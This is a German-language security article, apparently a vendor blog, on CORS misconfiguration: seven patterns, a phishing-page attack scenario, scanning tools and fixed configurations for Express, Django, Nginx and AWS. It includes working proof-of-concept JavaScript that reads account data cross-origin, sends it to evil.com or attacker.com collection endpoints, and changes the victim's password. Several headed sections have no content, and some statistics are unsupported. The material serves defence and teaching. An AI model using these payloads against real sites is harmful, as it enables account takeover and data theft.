CORS-Fehlkonfiguration: Der häufigste Bug-Bounty-Fund im Jahr 2026

Fehlkonfigurationen bei der Cross-Origin Resource Sharing machen 2026 23 % aller akzeptierten Bug-Bounty-Funde in Webanwendungen aus – mehr als XSS, IDOR und SSRF zusammen. Obwohl CORS bereits seit 2016 umfassend dokumentiert ist, bleibt es die Schwachstellenklasse, bei der Entwicklern am häufigsten Fehler unterlaufen. Diese ausführliche Analyse behandelt jedes Fehlkonfigurationsmuster, zeigt reale Angriffsszenarien mit funktionierendem PoC-Code und liefert produktionsreife Lösungen für alle wichtigen Frameworks und Cloud-Anbieter.

Warum CORS auch 2026 noch dominiert

Das Paradoxon von CORS besteht darin, dass es gleichzeitig einer der am besten dokumentierten und am häufigsten falsch konfigurierten Sicherheitsmechanismen im Web ist. Drei Faktoren erklären, warum es auch ein Jahrzehnt nach den ersten großen Enthüllungen noch immer die Rangliste anführt:

• Explosion der Microservices: Die durchschnittliche Webanwendung eines Unternehmens kommuniziert heute mit 47 internen APIs, 12 Drittanbieterdiensten und 8 CDN-Ursprüngen. Jede ursprungsübergreifende Beziehung erfordert eine explizite CORS-Konfiguration, und unter Lieferdruck greifen Entwickler zu Abkürzungen.
• Framework-Standardeinstellungen begünstigen großzügige Berechtigungen: Beliebte Frameworks wie Express.js (mit der cors-Middleware), Django und Spring Boot machen es während der Entwicklung äußerst einfach, Access-Control-Allow-Origin: * zu setzen – und dieser Platzhalter überlebt nur allzu oft bis in die Produktion.
• Komplexität der Cloud-Infrastruktur: Multi-Cloud-Bereitstellungen, API-Gateways, CDN-Edge-Regeln und Reverse-Proxys fügen jeweils eine Ebene hinzu, auf der CORS-Header gesetzt, überschrieben oder entfernt werden können. Ein korrekt konfigurierter Anwendungsserver kann durch eine zu großzügige CloudFront- oder Cloudflare-Regel in der vorgelagerten Ebene ausgehebelt werden.

Die sieben Muster von CORS-Fehlkonfigurationen

Nicht alle CORS-Fehlkonfigurationen sind gleich. Hier sind die sieben Muster, die Bug-Bounty-Jäger am häufigsten finden, geordnet nach Schweregrad und Ausnutzbarkeit:

Muster 1: Origin-Reflexion (kritisch)

Der Server übernimmt den Anfrage-Header Origin ungeprüft in den Antwort-Header Access-Control-Allow-Origin. Dies ist das gefährlichste Muster, da es jeder Website ermöglicht, authentifizierte Antworten der anfälligen API zu lesen.

# Anfrage von einem durch den Angreifer kontrollierten Ursprung
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123

# Anfällige Antwort – übernimmt den Ursprung des Angreifers
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"user@company.com","api_key":"sk-prod-..."}

Muster 2: Zulassung des Null-Ursprungs (hoch)

Einige Server erlauben ausdrücklich den Ursprung null, entweder aufgrund einer Fehlkonfiguration oder eines Missverständnisses. Browser senden den Ursprung null in verschiedenen Kontexten: Sandbox-iframes, data:-URLs, lokaler Dateizugriff und ursprungsübergreifende Weiterleitungen.

# Der Angreifer stellt diese HTML-Seite bereit
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,
  <script>
    fetch('https://api.target.com/api/user/data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // An den Server des Angreifers exfiltrieren
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

Muster 3: Umgehung regulärer Ausdrücke bei der Origin-Validierung (hoch)

Entwickler implementieren die Origin-Validierung häufig mit regulären Ausdrücken, die subtile Fehler enthalten. Die häufigsten Fehler:

Muster 4: Platzhalter mit Anmeldedaten (mittel bis hoch)

Browser erzwingen zwar, dass Access-Control-Allow-Origin: * nicht mit Access-Control-Allow-Credentials: true kombiniert werden kann, doch viele serverseitige Frameworks umgehen dies, indem sie die Kombination erkennen und stillschweigend zur Origin-Reflexion wechseln – wodurch Muster 1 durch die Hintertür entsteht.

Das npm-Paket cors (das von 73 % der Node.js-APIs verwendet wird) tut genau dies, wenn es mit origin: true und credentials: true konfiguriert ist. Entwickler, die glauben, einen Platzhalter zu setzen, aktivieren tatsächlich eine vollständige Origin-Reflexion.

Muster 5: Vergiftung des Preflight-Caches (mittel)

Der Header Access-Control-Max-Age teilt Browsern mit, wie lange Preflight-Antworten (OPTIONS) zwischengespeichert werden sollen. Wenn ein Server für einen Anfragepfad großzügige und für einen anderen restriktive CORS-Header zurückgibt, kann ein Angreifer den Browser dazu bringen, den großzügigen Preflight zwischenzuspeichern und ihn anschließend für geschützte Endpunkte wiederzuverwenden.

Muster 6: Vertrauenseskalation über Subdomains (mittel)

Viele Anwendungen erlauben CORS für alle Subdomains: *.target.com. Dadurch entsteht eine transitive Vertrauensbeziehung, bei der jedes XSS auf jeder Subdomain – einschließlich vergessener Staging-Umgebungen, Legacy-Anwendungen oder bei Drittanbietern gehosteter Subdomains – für Angriffe auf die API der Hauptanwendung genutzt werden kann.

Muster 7: Fehlender Header Vary: Origin (niedrig bis mittel)

Wenn ein Server Access-Control-Allow-Origin dynamisch anhand des Ursprungs der Anfrage setzt, muss er auch Vary: Origin einfügen. Andernfalls können CDN- und Browser-Caches eine Antwort mit den CORS-Headern eines Ursprungs für eine Anfrage von einem anderen Ursprung ausliefern, was zu sporadischen Fehlern bei der Zugriffskontrolle führt.

Reale Ausnutzung: Angriffsszenario Schritt für Schritt

Das folgende vollständige Angriffsszenario zeigt, wie eine CORS-Fehlkonfiguration zur Kontoübernahme führt:

Das Ziel

Eine Fintech-Anwendung unter app.fintech-target.com mit einer API unter api.fintech-target.com. Die API liefert Benutzerprofildaten einschließlich E-Mail-Adresse, Telefonnummer und API-Schlüsseln für den automatisierten Handel.

Die Schwachstelle

Die API verwendet Origin-Reflexion (Muster 1) mit aktivierten Anmeldedaten. Der Endpunkt /api/v2/account/settings gibt den API-Schlüssel des Benutzers zurück und ermöglicht Passwortänderungen über eine PUT-Anfrage.

Der Exploit

<!-- Auf attacker.com gehostet und über eine Phishing-E-Mail verlinkt -->
<html>
<body>
<h1>Ihre Portfolioanalyse wird geladen...</h1>
<script>
// Schritt 1: API-Schlüssel und Benutzerdaten stehlen
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
  // Schritt 2: An den Server des Angreifers exfiltrieren
  await fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      email: data.email,
      api_key: data.api_key,
      phone: data.phone
    })
  });

  // Schritt 3: Passwort des Benutzers ändern
  await fetch('https://api.fintech-target.com/api/v2/account/settings', {
    method: 'PUT',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      password: 'attacker-controlled-password-2026!'
    })
  });

  // Schritt 4: Zur legitimen Website weiterleiten, um keinen Verdacht zu erregen
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>

Der gesamte Angriff wird in weniger als 500 ms ausgeführt. Das Opfer sieht kurz einen Ladebildschirm und anschließend sein gewohntes Dashboard. In der Zwischenzeit besitzt der Angreifer den API-Schlüssel und hat das Passwort geändert.

Erkennung: CORS-Fehlkonfigurationen in großem Maßstab finden

Automatisiertes Scannen

Effektives CORS-Scanning erfordert, dass mehrere Origin-Varianten gegen jeden Endpunkt getestet werden, der CORS-Header zurückgibt. Dies ist die Testmatrix:

Werkzeuge für die Praxis

• CORScanner: Open-Source-Python-Werkzeug, das die vollständige Testmatrix automatisiert. Führen Sie es mit Ihrer Liste von API-Endpunkten aus: python cors_scan.py -i urls.txt -t 50
• Burp-Suite-Erweiterungen: „CORS* Burp“ und „Additional CORS Checks“ markieren CORS-Probleme während manueller Tests passiv.
• Nuclei-Vorlagen: Nuclei von ProjectDiscovery verfügt über 14 CORS-spezifische Vorlagen, die alle sieben Fehlkonfigurationsmuster abdecken. nuclei -t cors/ -l targets.txt
• Automatisiertes Scanning von KENSAI: Kontinuierliche Erkennung von CORS-Fehlkonfigurationen als Teil einer vollständigen Bewertung der Anwendungssicherheit.

Produktionsreife Lösungen

Node.js / Express

const cors = require('cors');

// ❌ FALSCH – reflektiert jeden Ursprung
app.use(cors({ origin: true, credentials: true }));

// ✅ RICHTIG – explizite Positivliste
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Anfragen ohne Ursprung zulassen (mobile Apps, curl usw.)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      return callback(null, true);
    }
    callback(new Error('Verstoß gegen die CORS-Richtlinie'));
  },
  credentials: true,
  maxAge: 600, // Preflight-Cache für 10 Minuten
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Python / Django

# settings.py

# ❌ FALSCH
CORS_ALLOW_ALL_ORIGINS = True

# ✅ RICHTIG
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
    "https://app.yoursite.com",
    "https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600

Nginx

# ❌ FALSCH – reflektiert den Origin-Header
add_header 'Access-Control-Allow-Origin' $http_origin always;

# ✅ RICHTIG – auf Zuordnung basierende Positivliste
map $http_origin $cors_origin {
    default "";
    "https://app.yoursite.com" $http_origin;
    "https://admin.yoursite.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin = "") {
            return 403;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Vary' 'Origin' always;

        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
            add_header 'Access-Control-Max-Age' 600;
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

AWS API Gateway / CloudFront

# AWS CDK / CloudFormation
CorsConfiguration:
  AllowOrigins:
    - "https://app.yoursite.com"
    - "https://admin.yoursite.com"
  AllowMethods:
    - GET
    - POST
    - PUT
    - DELETE
  AllowHeaders:
    - Content-Type
    - Authorization
  AllowCredentials: true
  MaxAge: 600

# ⚠ WARNUNG: Verwenden Sie AllowOrigins: ["*"] NICHT mit AllowCredentials: true
# AWS wandelt dies stillschweigend in Origin-Reflexion um

CORS im Zeitalter der API-First-Architektur

Der Wandel hin zu API-First-Architekturen hat die CORS-Landschaft grundlegend verändert. Im Jahr 2020 stellte eine typische Webanwendung ursprungsübergreifende Anfragen an vielleicht 3 bis 5 Dienste. Im Jahr 2026 stellen Anwendungen, die auf Microservices, serverlosen Funktionen und API-Integrationen von Drittanbietern basieren, regelmäßig ursprungsübergreifende Anfragen an Dutzende Ursprünge.

Diese Komplexität führt zu mehreren architektonischen Reaktionen:

• Zentralisierung im API-Gateway: Die gesamte CORS-Verarbeitung wird in eine einzige API-Gateway-Ebene (Kong, AWS API Gateway, Cloudflare Workers) verlagert, statt jeden Microservice unabhängig zu konfigurieren. Dies reduziert die Angriffsfläche für Fehlkonfigurationen, führt jedoch zu einem zentralen Ausfallpunkt.
• Tokenbasierte Authentifizierung statt Cookies: Anwendungen, die von Cookie-basierten Sitzungen zur Authentifizierung mit Bearer-Token wechseln, vermeiden die Anforderung credentials: include vollständig. Dadurch haben CORS-Fehlkonfigurationen geringere Auswirkungen, sind jedoch nicht harmlos.
• Backend-for-Frontend-Muster (BFF): Ein serverseitiger Proxy führt alle ursprungsübergreifenden API-Aufrufe im Namen des Frontends aus und beseitigt damit clientseitiges CORS vollständig. Der Nachteil sind zusätzliche Latenz und höhere Infrastrukturkomplexität.

Checkliste zur Vermeidung von CORS-Fehlkonfigurationen

Die wichtigsten Erkenntnisse

• CORS-Fehlkonfigurationen sind 2026 der häufigste Bug-Bounty-Fund – sie machen 23 % aller akzeptierten Berichte zu Webanwendungen aus.
• Origin-Reflexion mit Anmeldedaten ist das gefährlichste Muster und ermöglicht die vollständige Exfiltration von Daten sowie die Kontoübernahme von jeder durch einen Angreifer kontrollierten Website aus.
• Es gibt sieben unterschiedliche Fehlkonfigurationsmuster, die jeweils spezifische Ansätze zur Erkennung und Behebung erfordern.
• Die Origin-Validierung mit regulären Ausdrücken ist ein Minenfeld – verwenden Sie exakte Zeichenfolgenvergleiche mit einer expliziten Positivliste.
• Die Standardeinstellungen von Frameworks sind keine sicheren Standardeinstellungen – jedes wichtige Webframework macht es zu einfach, CORS zu großzügig zu konfigurieren.
• Zentralisieren Sie CORS nach Möglichkeit auf der API-Gateway-Ebene, um die Konfigurationsfläche zu reduzieren.
• Automatisieren Sie die Erkennung in Ihrer CI/CD-Pipeline mit Werkzeugen wie Nuclei, CORScanner oder kontinuierlichen Sicherheitsplattformen.